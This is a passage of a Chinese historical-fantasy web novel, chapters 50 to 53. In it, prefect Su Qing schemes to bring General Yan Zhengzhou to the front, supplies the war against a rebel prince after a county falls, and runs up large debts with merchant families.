苏清一边看奏章一边冷笑。 费秀才还道:“这话好像也没错。” 广乐府也好,京城也好,吃了全国太多物资。 若是各地负担不起,确实需要停一停,让各地休养生息。 苏清看着他,直言道:“你们再看看这三份封信。” 一封是江南叶山鸣送来。 一封是京城顾从斯的。 最后一封,竟是苏清老家通民府赵镇县大伯的信件。 这三封信件,说的都是同一件事。 朝廷并未减轻各地税收,反而加重了不少。 理由就是京城被毁,急需税收修补。 说白了就是。 京城需要税银修复宫殿官署,让京城恢复原本的繁华。 也就是说。 什么百姓负担太重,所以不能给广乐府拨款,这些都是骗人的。 实际上,京城也盯着这部分银子,准备用来修缮京城宫殿! 费秀才方才还在替京城说话,此刻哑口无言。 祝书吏冷声道:“京城明明已经没有危险,那边叛军首领也被杀了,总兵为什么不能过来。” “各地税收并不减免,也不给正在打仗的广乐府。” “却要用来修宫殿?” 简直不可理喻。 祝书吏没说出来,但她这种闷性子能讲出那些话,已经是不满到极点。 怪不得苏大人已经被气笑了。 费秀才看完信件,却有些茫然。 他能考上秀才,必是学过孝经的。 孝经大家都知道,这里的孝,指的是忠君,更说君父不会有大错,儿臣要如何敬仰。 现在发生的一切,实在让他难以接受。 好在他只是个秀才,也没学那么深,摇摇头之后,立刻等苏大人的指示。 苏大人绝对不会坐以待毙的。 苏清确实不会。 物资的事,可以暂时不管。 广乐府勉强够用。 但那个人。 必须过来。 总兵晏铮州。 必须来广乐府。 她最近跟连飞扬通信,更加确定这一点。 阎协守守城没有问题。 不管是依松县还是武寨县,在他的指挥下,都被守得很好。 若是正常国家,这样也没问题。 反正背靠一十三省,不用发愁后勤问题。 就这么拖下去,迟早能拖垮小小的皋青州。 问题是,顺昌国的情况并不好。 京城的情况,江南的情况。 甚至中原通民府的情况,一个比一个糟。 根本没有其他地方能支援后勤。 看似是顺昌国其他地方,对付一个皋青州。 实际上却是广乐府对皋青州。 所以压根拖不得,也拖不起。 武勇王爷必是明白这点,故而信心十足。 他以前好歹是王爷,还打过不少仗。 对顺昌国的情况,只怕比她还要清楚,更了解后勤情况。 怪不得稍微恢复元气,就急着攻城,确实有原因。 所以晏铮州必须过来。 他们广乐府不能只守不攻。 但京城那些人,又怕死的厉害。 如何才能把晏铮州弄到此地? 苏清都有些头疼。 因为事到如今,无论怎么恐吓哄骗。 京城大概率不会放人。 他们被叛军入城吓破胆。 怎么可能把身边的战神放走? 不是逼不得已,皇上不会放人。 苏清闭了闭眼。 让她更无语的事情,果然发生了。 京城那边来了消息。 晏铮州是不能放的,但朝廷任派一位老将过来。 这位老将也是久经沙场,甚至带过武勇王爷。 让他来做新的总兵,一定能带着广乐府抵抗叛军。 只看这些,或许觉得这位老将还不错。 但武勇王爷今年已经四十六。 带过他的老将军?! 多大岁数?! 六十九! 放在古代,都能五世同堂了! 不要虐待老人好不好! 但皇上心意已决,似乎无从更改。 苏清迅速写了封信:“送到京城。” “给顾举人吗?”费秀才问道。 苏清看了看信件,又拿回来,把收信人改成晏总兵:“这事,还是交给他办。” 不是他不信任顾从斯。 而是她信里的内容,或许对这些忠君爱国之人,会有点冲击。 因为她在信里写,让收到信的人,散播老将军的流言蜚语。 说他跟武勇王爷有师徒情谊。 这样派他上战场,就不怕他反了吗。 老将军要是听了,只怕会怒目而视,直接反驳。 这简直是往人身上泼脏水。 但劝皇上,肯定是没用的。 还不如利用皇帝的优柔寡断,反而会有奇效。 利用皇上的优柔寡断? 苏清瞬间想到什么,就差仰天大笑。 她知道怎么把晏铮州调过来了。 她知道了! 苏清再次写信,依旧是给晏总兵。 如果说,上一封信是利用皇帝疑心,不让老将军过来。 而这封信,则要利用京城众人贪财。 四月二十二。 已经用了多种办法,也没能出发的晏铮州收到两封信。 一封诋毁老将军的名声。 另一封则让他终于有了些笑意。 “来人,散出消息。” “就说,携带京城财宝的小股叛军,已经被找到踪迹。就在广乐府一带。” “这些人准备带着巨额财物投奔武勇王爷。” 手下听到这话,只觉得汗毛直立。 皇上太后多年来的私库,还有京城各大家族的库房。 里面囤积了多少绫罗绸缎珍宝明器,数不胜数。 若真的运到武勇王爷手中。 到时候招兵买马,必然势不可挡。 可另外一名手下却抬头,明显有些疑惑。 总兵大人不是刚刚派人去查财宝下落吗。 昨日送出信函,今日就有结果了? 这速度,是不是太快了。 晏铮州看了看苏清的信:“是有人寻到踪迹,特来报我。” 至于踪迹在哪,并不重要。 重要的是,必须派出得力人手,方能寻回京城各个家族的财产。 否则? 否则就等着这些东西,永远回不来吧。 果然,这个消息传遍京城,传到皇上太后耳朵里。 所有人都在心痛多年来的积累。 几代人攒下来的好东西啊! 若是能找回来,所有人都会求爷爷告奶奶。 但问题在于。 谁能去寻回这些财宝? 谁去寻的时候,还不会贪墨这些物件? 晏铮州晏总兵是个人选。 可他要是走了。 谁保护我们的安全啊。 让他去寻回财物,安全可能没法保证。 让他留在这,财物永远回不来。 到底选钱,还是选安全? 京城各个家族都陷入混乱。 每日为这事争吵的人不再少数。 也就是老将军躲过一劫,他还颤颤巍巍准备战袍,不知自己差点跟武勇王爷“勾结”。 皇宫里面对此也有颇多争执。 到底让晏铮州去追回库房珍玩。 还是让他留守京城。 这该如何做选择? 50-55 第51章 京城为此吵翻天,处在风暴中间的晏铮州,并不多说一句话。 但人人都知道他的想法。 晏铮州肯定想去广乐府。 可没人想让他真的去那边。 皇上思索良久,眼神飘忽地看着低着头的晏铮州。 忽然想到,自己好像很久,没看清过这个弟弟的表情。 他比弟弟大十岁,铮州今年也有二十二了。 自己二十二那年,已经在跟先太子争皇位。 弟弟呢。 弟弟怎么想的? 自己看先太子那般蠢笨,心里是不屑的。 弟弟看自己这般无能,又会怎么想。 勤政殿里安静无声。 晏铮州依旧站在原地,等着皇上的命令。 过了不知多长时间,皇上才道:“以弟弟来看,广乐府是否真的危急。皋青州的情况又如何。” 在朝廷这边看来,广乐府跟皋青州是两种情况。 广乐府不用说,能夺回来,肯定要夺回来的。 若叛军夺了这里,很容易入主中原,从而威胁到京城的安全。 但皋青州不一样。 皋青州自先皇在时,就是武勇王爷的封地,至今已有二十多年。 新皇登基后,他们的叔叔叛乱,也是从自己的封地起兵。 所以这个地方,对皇上而言,已经不算特别重要。 能拿回最好,不能拿回,也不要紧。 毕竟朝中事情那样多。 他也想当个好皇帝,可攘外必先安内。 皇上心思百转千回,就在那一句话里。 要是广乐府真的很危险,那就让晏铮州过去。 如果还能抵抗得住,暂且再等等。 等朝中一切太平了,再腾出手去收拾叛军。 所以这个问题,就在问晏铮州的意见。 晏铮州沉默片刻,最后才道:“武勇王爷准备多年,不会轻易放手。” 说罢,又提了句:“他们最缺的就是银钱。倘若京城劫掠的银钱到手,再拿下南江县,会很危险。” 晏铮州并未分析优劣。 只说明现在的情况。 若拿到银钱招兵买马 再拿下种了各类伤药以及囤粮不少的南江县。 皇上眼神闪躲。 倘若这样。 以他叔叔的能力,打入中原也未可知。 想到这,皇上一下子急了,面上依旧显得软弱,缓缓道:“朕知道了。” 又过片刻,皇上才开口:“看来只有再派朕的弟弟去一趟广乐府。” “这次又能立下战功了。” 此言一出,整个勤政殿内气氛变得愈发恐怖。 战功。 简直是先皇跟现在皇上的梦魇。 有战功的武勇王爷,跟先皇的争斗不必说。 皇上跟如今的晏铮州都看在眼里。 现在连兄弟,似乎又要重蹈覆辙。 晏铮州拱手,再次表忠心:“皇兄,您跟母后是我唯一的亲人。” “只是臣弟有个请求,待广乐府皋青州归来,臣弟也该休息,连年征战,微臣有些累了。” 听到晏铮州这样讲,皇上忍不住笑了:“也是,连番作战,确实很累。等你回京之后,朕便给你赐婚,让你好好休息休息。” 这话说完,皇上才正式下令。 晏铮州仍为总兵,前往广乐府抵御叛军。 只是他手底下十万兵将要留在京城,由连老将军接任,继续拱卫京师。 说白了。 就是让晏铮州带着二百亲兵去前线。 手底下熟练兵将要留在京城,继续保护皇上跟一众贵族。 饶是晏铮州听此,眉头都跳了跳。 皇上还道:“这样才能安大家的心,更不会反对你去广乐府。” 话说这么说。 但晏铮州要走的消息,还是让京城贵族们不安。 没了他,再有叛军怎么办? 就算有十万精锐,没有将领,也没什么用啊。 连老将军站出来怒斥众人,说广乐府情况危机,皋青州更在叛军手中。 你们难道就不着急? 京城有他守着,绝对没问题。 吵吵嚷嚷中,晏铮州终于出发。 两百亲兵看着京城,满脸都是不忿。 那十万兵将,都是他们的心腹,跟着他们从广乐府一路带到京城。 可以说是他们这么多年的积累。 如今让他们舍下弟兄们,再去打仗? 这不就是,不让他们带兵器,然后上战场吗? 纵然总兵有通天的本事,也不可能扭转战局吧。 身为总兵的晏铮州默默看着,开口道:“走吧。” “去广乐府,南江县。” 但晏铮州并未到南江县。 因为在路上,他就收到苏清的信函。 上面写明,让他先去广乐府府城,再去南江县。 苏清也不卖关子,直接说他去了府城,先跟兵司对接。 这样有利于招募将士。 晏铮州的手下,自然都知道苏清,还或多或少有过接触。 但她这番安排,还是让众人刮目相看。 每次以为这位女官很厉害的时候,她就会更加聪明。 她甚至提前安排好招兵买马的事。 虽说新兵不能直接入伍。 但至少省了招人的时间。 怪不得总兵为了她当知府,不惜动用太傅等人说情。 甚至皇上对总兵大人的疑心,就是在那个时候开始的。 太傅还说这样不值得。 可在他们看来,这可太值得了。 晏铮州脸色稍稍缓和,难得带了一丝轻松:“去广乐府府城。” 四月二十九。 在南江县的苏清看着京城的情况,心里已经在暗骂了。 不给钱粮,也不给士兵。 只晏铮州带着二百亲兵? 这皇上不是晏铮州的亲哥吗? 算了。 这可是皇家,那有什么亲不亲的。 太后还是晏铮州亲妈呢,也没对他太好。 苏清看着梅娘给她寄来的信。 梅娘不识字,是弟弟苏澄代笔。 信里写府城情况一切都好。 梅娘跟府城官吏的家眷们关系也不错,大家已经习惯如今的日子,让她放心。 还让她好好照顾自己。 说到这,梅娘肯定哭了,苏澄的字迹也没那么工整。 等会。 苏清又看了看弟弟苏澄的字。 怎么看起来,跟她有点像? 她学的晏铮州,她弟又偷偷学他? 再接着看信。 里面也提了朱婶娘刘小妹。 还有苏三婶母子。 大家一切都好的。 罗主簿跟邬户房也把府衙管得很好。 只是梅娘还是担心她。 信本身就很长,想她这种话,更是重复无数次。 但大家都知道。 谁又会反感这种话。 苏清心道。 为了他们,自己会守好前线,更会守好广乐府。 京城不管又怎么样。 这天底下没了皇帝,日子就不过了吗? 这天底下没有皇帝,日子才好过。 府城那边一切都正常,南江县这边更加忙碌。 武勇王爷的进攻愈发凶猛。 武寨县守城将士伤亡自然不低。 每日运往依松县周大人那边的伤员,都不下百人。 苏清算着那边的伤员人数,就知道南江县这边也要着手接收伤员了。 好在这里不缺人也不缺药,甚至不缺经验。 收到苏清的消息,周大人那边松口气。 他跟苏大人合作时间也久,知道她既开口,就不是随便说说。 对于苏清的感激,他已经不知道如何说了。 好在总兵大人就要回来。 大人四月二十九出发。 想来五月初六左右就能到广乐府。 有总兵大人坐镇,肯定能扭转战局。 现在苦苦支撑,已经是阎协守竭尽所能了。 广乐府能有苏大人跟总兵大人,才是真正的幸事。 等到五月初四,晏总兵提前到府城时,更让将士,以及边关几个县的百姓们兴奋。 总兵大人到了! 还在点兵! 苏大人之前就准备好报名参军的人员名册。 晏总兵一到,就立刻亲自招募。 这些本就有意报名的男儿们,更受鼓舞。 在接到集合消息的第一天,便有上万人响应。 随即下面十七个县,多数报过名的人,由各地兵房通知集合。 临到有事。 广乐府乃至附近州府官吏才明白,苏清当初把各个县的重要人手,全都换成自己人,有多么正确。 若非如此,即便是晏总兵来了,也不可能在短短时间里,让这么新兵集合。 以前暗骂苏清独断的人。 此刻除了闭嘴,再无其他话可说。 若他们当地有这样的官吏,即便是独断了,他们都要拍手叫好。 顺昌国现在这种情况,正需要有独断能力的人主持。 府城的消息再到前线将士耳中。 让这分散在依松县武寨县的六万士兵们欣喜。 终于把总兵大人盼来了! 简直太好了! 苏清心里也松口气。 从四月初四开始。 到如今五月初八。 依松县武寨县,已经坚持一个月了。 那武勇王爷确实有些本事。 每日看着前线战报,都让她惊愕。 战术调整,兵员调动,乃至兵法的娴熟。 能成为先皇以及今上的劲敌。 人家确实有本事。 还有他手底下的兵将,基本都是精兵强将,经验十分丰富。 对他们而言,广乐府就是肥肉。 他们便是饿狼。 只要能咬上一口,便心满意足。 她是真的想反击啊! 可苏清又明白。 打仗跟其他事情不同,没有任何试错空间。 她只能谨慎再谨慎,把后勤做到极致,让更多士兵可以平安。 对此,武捕头更为忧心。 要说整个衙门里,没有一个人不盼着战争赶紧结束的。 但对比武捕头夫妇,还是差了点意思。 他们两个儿子,都在军中。 四年前就在。 至今只回来不到三次。 武家两兄弟自幼跟着父亲强身健体。 在军中情况确实不错,但也着实辛苦。 不过两人本就有些武功底子,之后知道他们俩人是南江县苏大人手底下捕头的儿子,上司自然更看重些。 如今在军中也担任要职。 只是让武捕头夫妇没想到的是。 总兵上次带兵驰援京城,手底下兵将带走大儿子去了京城。 小儿子仍然留在依松县。 他们夫妇两个,先为在京城的大儿子担心,如今又为依松县的小儿子担心。 武捕头跟过来,也是为了第一时间知道小儿子的情况。 好在大部分叛军都在攻打武寨县。 在依松县的小儿子并没什么危险。 “晏总兵什么时候过来啊。”武捕头忍不住追问。 苏清看着晏铮州的信件:“第一批新兵招募的差不多了,五月二十就会到南江县。” 先有苏清提供的条件。 再有晏铮州点兵神速。 故而四月二十九从京城出发,五月初四就到广乐府府城。 五月二十便能带着两万新兵来南江县。 即使这样的速度。 苏清还是觉得慢。 晏铮州信里无奈道:“我也想快些过来。” 两个做事从容不迫的人。 被朝廷逼得没有办法。 但凡早点让晏铮州带着亲兵过来,时间都不会那样紧张。 偏偏他们还要镇定自若,不能表现出什么。 因为不管军中,还是身边人,都以两人为主心骨。 他们要是先乱了,周围人只会跟着着急。 两人难得的急躁,倒是能在信里表现出来。 他们两人都相信,对方不会被自己影响,也相信稍微的焦急乃人之常情。 该做的事,他们都会尽力做。 五月十九深夜。 苏清久久不能入睡。 武寨县连番战报,让她看到云喜过来,便忍不住皱眉。 想来这种习惯从去年就开始了。 那会听到京城遇险。 再有依松县种种。 总觉得是噩耗传来。 就在苏清准备入睡时,院子门口被人敲响。 祝书吏先一步出去,就听来人报:“依松县,依松县失守。” “叛军突然调转兵力,突袭依松县。” 苏清坐起来,冷静听着外面军情,忍不住闭上眼。 越是这种时候,她脑子愈发清晰,穿上衣服走出门外:“尚口县呢,那边情况怎么样。” “阎协守情况如何。” “阎协守已经退防尚口县,一时半会攻不进来。”来人急切道,“但是依松县!” 依松县又失守了! 这本就是广乐府最后夺回来的县,知道永晟二年的年底,才收回来。 如今还不到一年半的时间,就已经又失守了。 原本的伤痕还未修复,便又添新伤。 “可有报给晏总兵。” “报了。” 话音落下,衙门众人已经起身。 夜晚的南江县县衙灯火通明。 苏清忽然想到,幸好梅娘他们在府城。 因为依松县的失守,意味着对方得到物资跟人员的补充。 更意味着本就能打仗的叛军,现在更厉害了。 不对。 苏清赶紧道:“伤兵呢?周大人呢?!” 报信的人摇摇头,战报里没说这些。 苏清连忙再看一遍战报。 上面确实没写。 “快去问!” 周大人那边,至少有两三千伤兵。 叛军入城,他们被转移了吗?! 说到底,还是京城那边延误战机。 叛军突袭依松县,大概率也不是偶然。 他们必然得知晏铮州回来的消息,所以才要疯狂攻入城内。 否则留给他们的机会更加渺茫。 苏清一边留意前线战报,一边安排新一批物资送到尚口县。 并且安排船只,快速运送伤员。 还有晏铮州那边,希望他们快点过来。 但苏清知道,晏铮州来了也不可能立刻改变战局。 新兵是要训练的。 依松县一时半刻,是拿不回来的。 依松县的险情,在京城私信过重的时候,就已经出现了。 天蒙蒙亮。 最新战报送到苏清手中。 依松县失守。 伤兵疗养处的周大人安排伤员转移。 自己留在最后撤离,被叛军首领武勇王爷亲手捉到,直接斩首。 苏清头晕目眩,勉强站直身体。 终于赶到的晏铮州下意识想扶住她,却见她已经站稳,冷冷看着自己。 “夺回依松县。” “活捉叛军首领。” 晏铮州低头看着苏清,下颌绷得笔直,低声道:“好。” 他们两个紧赶慢赶。 拼尽全力去做。 还是晚了。 两个人都晚了。 都没能救下依松县,更没救下周大人。 她也好,晏铮州也好。 多争取一段时间,或许就能救下他们。 但错不在他们两人身上。 晏铮州握了握苏清手腕,转身再次出城。 苏清也打起精神,尽可能接收伤员。 他们不能过多伤心。 还有很多事情,等着他们安排。 但他们两个,一定会为周大人报仇。 一定会。 第52章 晏铮州出城,苏清并未去送。 她知道总兵接下来的安排。 两万新兵自然不能直接上战场。 要交给重新调回江北县的薛守备练兵。 直接送他们去战场上,无异议让他们送命。 第一批两万。 第二批四万。 第三批两万,都要先练兵再说。 这也是两人没有过多交流的原因。 叛军看似在五月十九日攻入依松县。 看似他们只晚来一日。 实际上,战机已失。 不是一两日时间能弥补的。 而他们两个都很清楚,问题到底出在哪。 新兵送到江北县,苏清的物资同样送到。 晏铮州则直接去了尚口县,接过阎协守的指挥。 阎协守双眼通红,他忍不住道:“兵将,兵将都留在京城了?” “一万?不,五千,能带回五千即可。” 见总兵大人不说话,他忍不住仰天长叹。 京城! 到底让他们怎么过! 能把总兵放回来,似乎就给了大恩。 晏铮州道:“你先休息,这里有我。” 阎协守并未争执。 他直接回营帐睡觉,等他醒过来,还有许多硬仗要打。 晏铮州手下忍不住道:“总兵大人,您也需要休息。” 一路赶来,称得上昼夜不停。 处理新兵入伍之事,更耗尽精力。 大人他同样两三日没怎么睡过了啊。 晏铮州却已经穿上盔甲,上城楼查看情况。 手下知道劝了也没用,连忙取了常用的弓箭刀枪以及西洋镜,以备总兵大人使用。 晏铮州接过西洋镜,眼神有些抽离,随即又恢复精神,投入守城战里。 南江县的苏清一夜未睡。 依松县大部分伤员,以及新增伤员,全都送到南江县伤兵处。 医学训科的白大夫郝大夫两人立刻投入工作。 接收伤员,处理伤口,查看情况,抓药熬药,每个人都知道自己该做什么。 重新招募回来的医护,没想到自己还会重操旧业。 看着大家更严重的伤口,已然不知道该说什么。 永晟元年到永晟四年。 什么都变了,又像是什么都没变。 明明他们那么努力生活,那么努力种田种药材。 叛军一来,战事一来。 一切都回到原点。 好像他们这些年的努力不存在一样。 听着士兵们的哀嚎,不少人都落下泪。 倒是士兵嘿嘿笑:“哭什么。又来南江县,我还挺高兴的。” “对啊,我也是第二回来了。” 照顾他们的妇人们忍不住又哭,看着尚口县方向,谁都安慰不动。 苏清在门外听着,深吸口气,看着负责此地的文千户,他双眼肿得厉害。 文千户自我介绍道:“我是周大人的外甥,他是我亲舅舅。” 文千户又擦了擦眼泪,还是止不住:“我之前在老家学过医术,他就让我过来帮忙。” 没想到依松县沦陷,更没想到舅舅让他带着伤员先跑,自己却被永远留下来。 现在他接替舅舅的位置,只能哭着操持一切。 “我不知道怎么跟我娘说这事。”文千户算是头一次见苏大人,但在舅舅口中,已经听过无数次了,忍不住跟她倾诉,“我娘,我娘肯定很难过。” 说着,文千户泣不成声。 苏清眼圈也带着湿润,给他擦擦眼泪,继续听文千户倾诉。 其实周大人很累。 他照顾了太多伤员,见过太多死亡。 可他依旧们不做事办差。 尤其是看着伤员越来越少,他太高兴了,甚至会说:“有朝一日,伤兵休养处关门才好。” 他觉得自己能看到那一天。 之后战事再起,周大人便不再说这些话,只讲他们背后有苏知府。 苏知府会准备药材,准备补给。 还会准备大鱼大肉,给伤员们吃。 文千户也见到这些了。 伤员们的补给,总是比其他人要好多很多。 这也算苏清跟周大人的默契。 如今这些差事,都交到文千户手中,他除了哭之外,还要用心做事,废寝忘食的做事。 然后给舅舅报仇。 他一定要给舅舅报仇。 苏清听完他的所有哭泣抱怨仇恨,最后道:“会的,我也会替周大人报仇。” 还要继续办差。 一直到复仇结束。 武捕头飞快跑来,苏清朝他点点头。 武捕头的小儿子也是伤员之一。 要知道,这里的伤员,基本都是重症。 武捕头小儿子满身血污,还在安慰他爹。 对了,也不要告诉娘。 他养养就好了。 一批批物资送文千户手中。 苏清让他签字接收,跟方才安慰他时,完全是两种模样的:“这是最近的伤员物资,必须用到实处,会有人随时抽查。” “若有贪污的情况,按律当斩。” 苏清说的简单。 但谁都知道,她真能做得出来。 之前伤兵想闹事的时候,她便杀鸡儆猴,以后再也没人敢闹脾气。 如今这种情况,杀几个人祭旗,也是轻而易举。 等文千户还未坐稳,就听说县衙处置了几个刚来的书吏,有意私占粮食,还有的贪污库房存粮。 最严重的送到府城菜市口斩首。 情节稍轻的,则送到前线修防御工事。 不止南江县开始彻底清查。 府城,乃至其他十六县,全都要严查。 还有整个广乐府大户豪绅们,以前苏清或许会当看不到。 如今前线战事紧张,谁要敢贪占军粮军饷,别怪她手下不留情。 苏清收紧此事,也有手头物资不丰的原因。 在府城的罗主簿邬户司给她来信。 去年的税款,加上今年问金陵要的三十万两银子。 以及上个月收缴的大户豪绅银钱。 到如今五月下旬,已经用了五分之三。 而且因为战事愈发紧张,各种消耗翻倍增加。 “最多用到七月初,府城库房物资消耗殆尽。” 后面一句是:“是否要从各县调粮?” 南江县王兵房看到前面的话,气都要喘不过来了。 后面那句是否从各县调粮,又让他站直身体。 见苏大人写了同意二字,再次敬佩大人深谋远虑。 去年各地都在建囤粮,他也有印象。 现在正好运出一部分。 若是断了后勤,就等于断了生路。 苏清见王兵房松口气,反而又笑了笑。 费秀才跟祝书吏提醒:“不用高兴的太早。” “新兵六万,伤员增加。” “军中消耗至少翻三倍。” 所以说,即使从各县拨调粮食,粮饷暂时够用。 武器作坊那边,却还捉襟见肘。 没有训练不能上战场。 没有武器,更不能上。 制造武器的材料,又要从什么地方弄。 江南叶家。 广乐府花家。 当初选合作商,苏清选都是实力极强的家族。 但从去年年底开始,到现在五月底。 府衙跟武器作坊,从未给这两家结过账。 若换成家底不厚的,此刻都要吃祖产了。 如果说这点欠债他们还能承受。 那接下来翻倍的消耗,就让他们皱眉。 之前还有些家族,羡慕他们拿到这么大的买卖。 如今全都避之不及,觉得他们被苏清这个女官算计了。 现在人人都知道,京城忙着修复宫殿,肯定不会给广乐府拨款。 广乐府的那点税收,供应粮饷还行。 武器装备,实在是困难。 继续给武器作坊供应原材料。 天知道还要砸进去多少,天知道能不能把账收回来。 叶山鸣在家里日子不算好过。 族中各房看他不顺眼的比比皆是,之前顺遂的时候还好,如今出了状况,肯定要狠狠踩他,恨不得在他身上撕几块肉吃。 现在还有在外面指桑骂槐的,他就当听不到。 叶山鸣看着广乐府府城再次送来的材料单子,眼神带了些无奈。 他确实被苏清算计了。 怪不得前段时间,她亲自写信,要了一大笔材料,如今已经在路上,甚至走的陆运。 “武器作坊欠银多少了?”叶山鸣问道。 底下掌柜连忙道:“各项加起来,已经有七十万两。” “主要做盔甲的各类皮革,占比极多。” 叶山鸣没说话,折扇直接不扇了。 自己也是太信任苏清赚钱的能力,才会任由她开单子。 一车车皮革送过去,他也只看个总数,再看看苏清的亲笔书信,直接签字。 看来前些年他说那句,苏清很适合做买卖。 完全是假的。 苏清这人,做什么买卖都会血本无归。 倒不是能力问题。 而是她这个人,心里装了太多人,太多事。 叶山鸣再次叹气:“运吧,那边开什么单子,就给什么。账目记清即可。” 因为他会要回来的。 说不定能连本带利要回来。 外面那些庸人懂什么。 若苏清想赚钱,他们这些人都不是对手。 这点银子而已,根本不算什么。 广乐府花家。 花家二小姐花又菱听着大哥花承载嘲讽。 “你的右县抢着做生铁买卖,买那么多矿,炼那么多生铁,有用吗?” “听说那边欠银至少一百二十万两。” “你这样下去,是要把家里全都掏空啊。” 花老爷听到这话,有些承受不住。 即使花家产业极广,也经不起这样支出。 最重要的是。 谁知道府衙什么时候能还? 谁知道他们能不能还? 就算今年八九月秋收后,所有税银加起来,也是还不清的。 花老爷眼神带着审视,盯着二女儿。 “爹,这也不是二姐的错。” 一向不管事的花景明起身开口:“苏知府是什么样的人,您也了解,她要是想预支各项材料,有的是办法。” “二姐不过信任她。” “毕竟以前看来,苏知府确实有赚钱能力。” 说到这,最小的儿子花景明故意凑到他爹面前:“爹,广乐府正值危急时刻,苏知府也是为了守卫依松县尚口县。” “毕竟叛军打过来,咱们花家这次或许就没那么好运了。” 上次花家召集家丁全力抵抗,依旧损失惨重。 家里的田地被毁了大半,心疼的花老爷很久都睡不好觉。 想到这,花老爷看向二女儿的眼神好多了。 不等他再说,就听小儿子道:“儿子愿意同二姐一起承担。” “家族兴旺,必要同气连枝。” “爹,等渡过难关,苏知府不会亏欠咱们的。” 花景明这番话。 看似是在给他二姐开脱,却句句都在帮苏清说话。 原因无它。 在府城被保护自己,没有任何理由指责苏清。 叶家或许可以有怨言。 但花家不行。 花家,乃至广乐府所有安心生活的百姓。 都欠苏清的。 谁要说她不好,是真的没良心。 花家三人走出父亲院子。 老大老二眼神莫名地看着花景明。 他们一向知道,父亲最偏疼小儿子。 不过花景明平时不争不抢,还不算明显。 现在他稍微几句话。 就把一百二十万两的事压下去。 还是小看他的能耐了。 “小弟好口才。”花承载冷声道,“别忘了,谁才跟你同父同母。” 花又菱神情也格外复杂,她根本不会因为花景明帮她说话,从而冰释前嫌。 她母亲的死大过天,跟杀母仇人的儿子搞好关系,那她做鬼都不会放过自己。 再者,花景明三言两语,要走了武器作坊供料的差事。 同样是在分她的权。 花承载现在死死盯着小弟,也是察觉到这件事。 已经考上举人的小弟,从小就无比聪明,受尽宠爱的小弟。 如果真的跟他们两个争权。 实在是个对手。 花景明眼皮微垂,只道:“下次会试我肯定会参加。” “这些差事不过是暂时的。” 说白了。 他知道家族产业到底有多丰厚。 但他的路在官场,不是商场。 现在碰这件事。 不过是为了一个人。 无论他在读书,还是走在街上。 人人都在讨论的一个人。 苏清。 在哥哥姐姐的审视中,花景明忽然皱眉。 他好像明白了什么? 但那是,那是他好友的未婚妻啊?! 不对,前未婚妻。 花景明欲言又止,随即摆摆手:“就这段时间,等战事停了,我会继续备考。” 所以武器作坊材料之事,他必会插手。 谁也不能阻拦。 至于越来越多的欠款。 没事。 花家有钱。 这算什么啊。 再说,若信不过苏清,还能信谁? 武器作坊里。 邬户司,窦工匠看着源源不断的材料送来。 一时也摸不到头脑。 大家都以为,叶家花家会直接停止供货啊。 再欠下去,把整个武器作坊卖了都付不清欠款啊。 可现在东西又放在这,继续签欠单。 签的窦工匠都有些不好意思了。 邬户司清清嗓子:“管他呢,给了咱们就要。” “继续招人,加大产能。” 他们能做的,就是造更多兵器盔甲。 让前线的将士们更有保障。 “钱的问题,交给苏知府!” 她相信苏大人! 苏大人肯定能解决的!—— 作者有话说:苏清:半年之内背了近两百万白银欠款??? 第53章 广乐府一边负债,一边从各地粮仓运粮。 总算维持住前线的各项开支。 叶山鸣跟花景明那边,她也分别写信。 除此之外,也给花又菱去信。 南江县再次成为运输枢纽。 不过,之前是全国物资送过来。 现在是广乐府各地物资集结。 老兵六万。 新兵也有六万。 总共十二万的军队,要靠广乐府支持。 实在艰难。 按照如今的情况,供给一个士兵,至少需要五六个人劳作。 想要供给十二万的队伍。 至少需要七八十万劳动力。 广乐府一城十七县,除去再次沦陷的依松县之外。 差不多有一百二十多万人,减去老弱病残,人口并不剩多少。 这么算下来,广乐府一年到头辛辛苦苦劳作,全都投入到战争当中。 苏清越算,越觉得叛军可恶。 再算下来,对朝廷的不满与日俱增。 尤其是顾从斯跟她讲,太后跟皇上寝殿重新修建时,心里的火只会越来越多。 但苏清很明白。 京城那边绝不可能帮忙。 对他们来说,只有自己没有危险,那就够了。 整个顺昌国,也就广乐府有事,并不影响全局。 只是顾从斯的情况越来越差。 京城各个官署都准备重建。 被烧了大半的国子监也在其中。 顾从斯并不积极推动此事,让另一府案首占了先机。 看样子,已然取代顾从斯的位置。 顾从斯信里说的淡然,不过据她所知,他已经被赶出国子监,只能在京郊寻一处民舍暂住。 好在皇上对他印象还不错,在翰林院还有些位置。 顾从斯信里直言。 重修国子监劳民伤财,所以他并不赞成。 苏清心道,若京城官员都能想顾从斯这样想,那就好了。 想到这,苏清还是给顾从斯回复。 自两人退婚后,她基本公事公办,只回复跟差事相关。 这封信倒是多了几句话,让他先顾好自己,还给了武捕头大儿子的住址,他们可以互相照应。 她在军中也算有些交情,不至于让顾从斯流落街头。 不过收到信的武家大儿子连忙去找顾举人时,却发现顾举人虽然住在京郊,却是个极幽静的好地方。 而且皇上还特赐了马匹,方便他上下值。 这也没说的那般可怜啊。 顾从斯放下书册,跟武家大儿子打招呼。 看他如此淡然,武家大儿子无奈。 不是说这俩已经退婚了吗。 原来就是彼此惦念,让他在这瞎担心啊。 顾从斯听他抱怨,反而笑了下。 苏清从来都是怜贫惜弱的。 而且他确实很弱,需要帮忙。 顾从斯这边的插曲,苏清并不了解,她更多时间,还是在安排后勤上。 军中齐内官,乃至镇守大臣梁太监,因此交际颇多。 齐内官不用讲,他跟苏清的关系已然很近。 不过跟梁公公的往来,也就是在这段时间。 说起来,梁公公也在广乐府三四年,一直都知道苏清。 还知道苏清这知府的位置,原本是用来背锅的。 谁都没想到她不仅能坐稳,还能有这么大作用。 甚至如今军中物资,全都要依靠她。 故而梁公公对苏清也很客气,再有齐内官牵线搭桥,事情一向顺利。 与此同时,新兵训练正式开始。 六万新兵,被分散到江北县,江口县等地。 由四个守备军分别训练。 希望他们可以早日合格。 而总兵大人接手尚口县后,前线情况果然好些。 同时武寨县的压力也小了些。 但所有人都知道。 这只是暂时休整。 等叛军在依松县站稳,等他们把全县物资搜刮干净。 迎来的,会是更猛烈的攻击。 所以广乐府上下,都不能松懈。 尤其是苏清这里。 某种程度上,她才是支撑前线的人。 好在一切进展顺利。 至于欠花家叶家的钱? 债多不怕愁。 她压根不会因为这种事担心啊。 甚至睡的更香了。 话是这么说的。 南江县这边像上了发条一般。 接收各县来的物资,跟梁公公对接。 再安排从前线下来的伤员,保证他们的饮食医药。 武寨县也好,尚口县也好。 这些前线地方,还要派出人手去修建防御工事,补齐修城墙的材料。 各类武器盔甲弓箭,同样送到前线将士手中。 